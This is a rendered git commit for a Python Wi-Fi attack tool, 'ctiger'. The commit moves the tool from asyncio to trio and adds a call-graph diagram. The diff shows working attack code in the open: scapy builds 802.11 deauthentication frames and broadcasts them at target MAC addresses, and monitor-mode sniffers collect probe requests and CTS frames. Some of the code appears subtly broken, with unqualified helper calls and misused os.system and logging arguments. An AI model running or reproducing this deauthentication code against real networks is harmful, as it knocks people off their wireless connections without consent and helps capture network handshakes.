asyncio swapped for trio
This commit is contained in:
parent
18ace41ad4
commit
7989425675
2 changed files with 115 additions and 33 deletions
88
ctiger.gv
Normal file
88
ctiger.gv
Normal file
|
@ -0,0 +1,88 @@
|
|||
digraph G {
|
||||
concentrate=true;
|
||||
splines="ortho";
|
||||
rankdir="LR";
|
||||
subgraph legend{
|
||||
rank = min;
|
||||
label = "legend";
|
||||
Legend [shape=none, margin=0, label = <
|
||||
<table cellspacing="0" cellpadding="0" border="1"><tr><td>Code2flow Legend</td></tr><tr><td>
|
||||
<table cellspacing="0">
|
||||
<tr><td>Regular function</td><td width="50px" bgcolor='#cccccc'></td></tr>
|
||||
<tr><td>Trunk function (nothing calls this)</td><td bgcolor='#966F33'></td></tr>
|
||||
<tr><td>Leaf function (this calls nothing else)</td><td bgcolor='#6db33f'></td></tr>
|
||||
<tr><td>Function call</td><td><font color='black'>→</font></td></tr>
|
||||
</table></td></tr></table>
|
||||
>];
|
||||
}node_b716522e [label="0: (global)()" name="ctiger::(global)" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
|
||||
node_c226d6b6 [label="257: __init__()" name="ctiger::NetDev.__init__" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_a72217d1 [label="261: create_if()" name="ctiger::NetDev.create_if" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_85c6b5a0 [label="302: start_monitor()" name="ctiger::NetDev.start_monitor" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
|
||||
node_dff9387f [label="279: switch_if()" name="ctiger::NetDev.switch_if" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_c49a2835 [label="164: PRN2()" name="ctiger::PRN2" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
|
||||
node_1e68ec5e [label="349: __init__()" name="ctiger::Purge.__init__" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_02c0b98c [label="400: cts_prn()" name="ctiger::Purge.cts_prn" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
|
||||
node_0656657d [label="392: get_interface()" name="ctiger::Purge.get_interface" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
|
||||
node_29b5dfd9 [label="419: mac_revealer()" name="ctiger::Purge.mac_revealer" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
|
||||
node_fcd410b3 [label="410: probe_prn()" name="ctiger::Purge.probe_prn" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
|
||||
node_4ec502aa [label="376: send_pkt()" name="ctiger::Purge.send_pkt" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_b468b345 [label="453: start_purge()" name="ctiger::Purge.start_purge" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
|
||||
node_3430eae8 [label="569: attack()" name="ctiger::attack" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
|
||||
node_0637a4a1 [label="547: chan_hopper()" name="ctiger::chan_hopper" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_eaf072d2 [label="138: extract_channel()" name="ctiger::extract_channel" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_83d1b934 [label="120: extract_essid()" name="ctiger::extract_essid" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_2b40ff6d [label="515: feed_gather()" name="ctiger::feed_gather" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_634def90 [label="657: get_df()" name="ctiger::get_df" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_f75ee69d [label="678: get_log()" name="ctiger::get_log" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_12c7deb0 [label="756: main()" name="ctiger::main" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
|
||||
node_c77f27f0 [label="608: proc_attack()" name="ctiger::proc_attack" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
|
||||
node_50eead29 [label="705: process_args()" name="ctiger::process_args" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
|
||||
node_e4602889 [label="633: scan_scn()" name="ctiger::scan_scn" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
|
||||
node_74072d07 [label="595: start_attack()" name="ctiger::start_attack" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
|
||||
node_04fffd23 [label="225: strainer()" name="ctiger::strainer" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
|
||||
node_b716522e -> node_12c7deb0 [color="#D55E00" penwidth="2"];
|
||||
node_85c6b5a0 -> node_a72217d1 [color="#000000" penwidth="2"];
|
||||
node_85c6b5a0 -> node_dff9387f [color="#000000" penwidth="2"];
|
||||
node_c49a2835 -> node_eaf072d2 [color="#0072B2" penwidth="2"];
|
||||
node_c49a2835 -> node_83d1b934 [color="#0072B2" penwidth="2"];
|
||||
node_02c0b98c -> node_eaf072d2 [color="#F0E442" penwidth="2"];
|
||||
node_0656657d -> node_c226d6b6 [color="#0072B2" penwidth="2"];
|
||||
node_0656657d -> node_85c6b5a0 [color="#0072B2" penwidth="2"];
|
||||
node_29b5dfd9 -> node_0656657d [color="#E69F00" penwidth="2"];
|
||||
node_29b5dfd9 -> node_634def90 [color="#E69F00" penwidth="2"];
|
||||
node_fcd410b3 -> node_4ec502aa [color="#009E73" penwidth="2"];
|
||||
node_b468b345 -> node_29b5dfd9 [color="#0072B2" penwidth="2"];
|
||||
node_3430eae8 -> node_0637a4a1 [color="#000000" penwidth="2"];
|
||||
node_3430eae8 -> node_2b40ff6d [color="#000000" penwidth="2"];
|
||||
node_3430eae8 -> node_634def90 [color="#000000" penwidth="2"];
|
||||
node_c77f27f0 -> node_3430eae8 [color="#000000" penwidth="2"];
|
||||
node_50eead29 -> node_1e68ec5e [color="#E69F00" penwidth="2"];
|
||||
node_50eead29 -> node_b468b345 [color="#E69F00" penwidth="2"];
|
||||
node_50eead29 -> node_f75ee69d [color="#E69F00" penwidth="2"];
|
||||
node_50eead29 -> node_c77f27f0 [color="#E69F00" penwidth="2"];
|
||||
node_50eead29 -> node_e4602889 [color="#E69F00" penwidth="2"];
|
||||
node_e4602889 -> node_634def90 [color="#E69F00" penwidth="2"];
|
||||
node_74072d07 -> node_3430eae8 [color="#CC79A7" penwidth="2"];
|
||||
node_04fffd23 -> node_eaf072d2 [color="#009E73" penwidth="2"];
|
||||
subgraph cluster_4a4e1c1c {
|
||||
node_83d1b934 node_eaf072d2 node_c49a2835 node_04fffd23 node_2b40ff6d node_0637a4a1 node_3430eae8 node_74072d07 node_c77f27f0 node_e4602889 node_634def90 node_f75ee69d node_50eead29 node_12c7deb0 node_b716522e;
|
||||
label="File: ctiger";
|
||||
name="ctiger";
|
||||
style="filled";
|
||||
graph[style=dotted];
|
||||
subgraph cluster_4f950f97 {
|
||||
node_c226d6b6 node_a72217d1 node_dff9387f node_85c6b5a0;
|
||||
label="Class: NetDev";
|
||||
name="NetDev";
|
||||
style="filled";
|
||||
graph[style=dotted];
|
||||
};
|
||||
subgraph cluster_c411e27b {
|
||||
node_1e68ec5e node_4ec502aa node_0656657d node_02c0b98c node_fcd410b3 node_29b5dfd9 node_b468b345;
|
||||
label="Class: Purge";
|
||||
name="Purge";
|
||||
style="filled";
|
||||
graph[style=dotted];
|
||||
};
|
||||
};
|
||||
}
|
58
ctiger.py
58
ctiger.py
|
@ -23,18 +23,12 @@ from scapy.layers.dot11 import Dot11FCS
|
|||
from scapy.config import Conf as scapyconfig
|
||||
from scapy.layers.eap import EAPOL
|
||||
from scapy.utils import PcapWriter
|
||||
# Import Faker.
|
||||
from faker import Faker
|
||||
# Import the WifiESSID class from Faker Wi-Fi ESSID.
|
||||
# from faker_wifi_essid import WifiESSID
|
||||
# import scapy_ex
|
||||
# from scapy_ex import Dot11Elt
|
||||
from art.art import tprint
|
||||
from dataclasses import dataclass
|
||||
import multiprocessing as mp
|
||||
import asyncio
|
||||
import trio
|
||||
import threading
|
||||
from threading import Thread
|
||||
from random import choice
|
||||
from configobj import ConfigObj, validate
|
||||
from collections import Counter
|
||||
|
@ -42,9 +36,7 @@ import pandas as pd
|
|||
import signal
|
||||
import logging
|
||||
from time import sleep
|
||||
# sys.path.append(os.path.expanduser('~/.local/lib/python3.11/site-packages'))
|
||||
sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
|
||||
# from simple_parsing import ArgumentParser
|
||||
|
||||
# _ _ _ ____ ___ _ ___ _ ___ ___
|
||||
# \ ( ) / )_\ / _ \ )_ _( )_\ \ _) ) | ) __( ( _(
|
||||
|
@ -416,6 +408,14 @@ class Purge(object):
|
|||
self.send_pkt(bssid)
|
||||
return
|
||||
|
||||
async def start_sniff(self, probe_sniff):
|
||||
await probe_sniff.start()
|
||||
await trio.sleep(0)
|
||||
|
||||
async def start_cts(self, cts_sniff):
|
||||
await cts_sniff.start()
|
||||
await trio.sleep(0)
|
||||
|
||||
async def mac_revealer(self, interface, mon_type, valid_file, channels):
|
||||
log.info('mac revealer started')
|
||||
self.interface = interface
|
||||
|
@ -431,32 +431,28 @@ class Purge(object):
|
|||
log.debug('return type: {0}'.format(type(mon_if)))
|
||||
self.mon_if = mon_if
|
||||
log.info('interface {0} is up and running.'.format(self.mon_if))
|
||||
chop = asyncio.to_thread(self.channel_runner,
|
||||
self.mon_if, self.channels)
|
||||
global chopper
|
||||
chopper = asyncio.create_task(chop)
|
||||
log.info('Channel runner started.')
|
||||
probe_sniff = AsyncSniffer(
|
||||
iface=mon_if, prn=self.probe_prn,
|
||||
filter="type mgt subtype probe-req",
|
||||
monitor=True)
|
||||
probe_sniff.start()
|
||||
log.info('Probe sniffer started')
|
||||
await asyncio.sleep(0)
|
||||
cts_sniff = AsyncSniffer(filter='type ctl subtype cts',
|
||||
iface=mon_if, prn=self.cts_prn,
|
||||
monitor=True)
|
||||
cts_sniff.start()
|
||||
async with trio.open_nursery() as nursery:
|
||||
nursery.start_soon(self.channel_runner,
|
||||
self.mon_if, self.channels)
|
||||
nursery.start_soon(start_sniff, probe_sniff)
|
||||
nursery.start_soon(start_cts, cts_sniff)
|
||||
log.info('Channel runner started.')
|
||||
log.info('Probe sniffer started')
|
||||
log.info('CTS sniffer started')
|
||||
await asyncio.sleep(0)
|
||||
await trio.sleep(0)
|
||||
|
||||
def start_purge(self) -> None:
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
print('Enter Ctrl+C TWICE to fully stop the script.')
|
||||
asyncio.run(self.mac_revealer(self.interface,
|
||||
self.mon_type,
|
||||
self.valid_file,
|
||||
self.channels))
|
||||
trio.run(self.mac_revealer, self.interface, self.mon_type,
|
||||
self.valid_file, self.channels)
|
||||
forever_wait = threading.Event()
|
||||
forever_wait.wait()
|
||||
|
||||
|
@ -521,11 +517,11 @@ async def feed_gather(mon_dev, targ):
|
|||
pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
|
||||
log.debug('sending deauth to ', targ, ' with type 4')
|
||||
sendp(pkt, iface=mon_dev, verbose=0)
|
||||
await asyncio.sleep(1)
|
||||
await trio.sleep(1)
|
||||
pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
|
||||
log.debug('sending deauth to ', targ, ' with type 12')
|
||||
sendp(pkt, iface=mon_dev, verbose=0)
|
||||
await asyncio.sleep(1)
|
||||
await trio.sleep(1)
|
||||
|
||||
|
||||
def grab_macs(pkt):
|
||||
|
@ -554,7 +550,7 @@ async def chan_hopper(mon_dev, channels):
|
|||
ichan = choice(chans)
|
||||
os.system('iw dev ', mon_dev, ' set channel ', str(ichan))
|
||||
log.debug('Channel set to ', str(ichan))
|
||||
await asyncio.sleep(4.7)
|
||||
await trio.sleep(4.7)
|
||||
# return ichan
|
||||
|
||||
|
||||
|
@ -588,13 +584,13 @@ async def attack(mon_dev, scan_file):
|
|||
for row in ares:
|
||||
if row[1] in targets:
|
||||
log.info('Found target: ', row[1])
|
||||
asyncio.create_task(feed_gather(mon_dev, row))
|
||||
await asyncio.sleep(1)
|
||||
await feed_gather(mon_dev, row)
|
||||
await trio.sleep(1)
|
||||
|
||||
|
||||
def start_attack(mondev, scan_file):
|
||||
log.info('Starting the attack')
|
||||
asyncio.run(attack(mondev, scan_file))
|
||||
trio.run(attack, mondev, scan_file)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
|
@ -607,8 +603,6 @@ def start_attack(mondev, scan_file):
|
|||
# ----------------------------------------------------------------------------
|
||||
def proc_attack(interface, scan_file, mon_type):
|
||||
mon_dev = start_monitor(interface, mon_type)
|
||||
# daemon = Daemonize(app=__name__, pid='/tmp/ctiger.pid',
|
||||
# action=asyncio.run(attack(mon_dev, scan_file)))
|
||||
mp.set_start_method('spawn')
|
||||
attack_daemon = mp.Process(target=start_attack, args=(mon_dev, scan_file),
|
||||
name='attack_daemon', daemon=True)
|
||||
|
@ -619,7 +613,7 @@ def proc_attack(interface, scan_file, mon_type):
|
|||
attack_daemon.join()
|
||||
else:
|
||||
log.info('Running in foreground...')
|
||||
asyncio.run(attack(mon_dev, scan_file))
|
||||
trio.run(attack, mon_dev, scan_file)
|
||||
|
||||
|
||||
# -------------------------------------------------------------
|
||||
|
|
Loading…
Reference in a new issue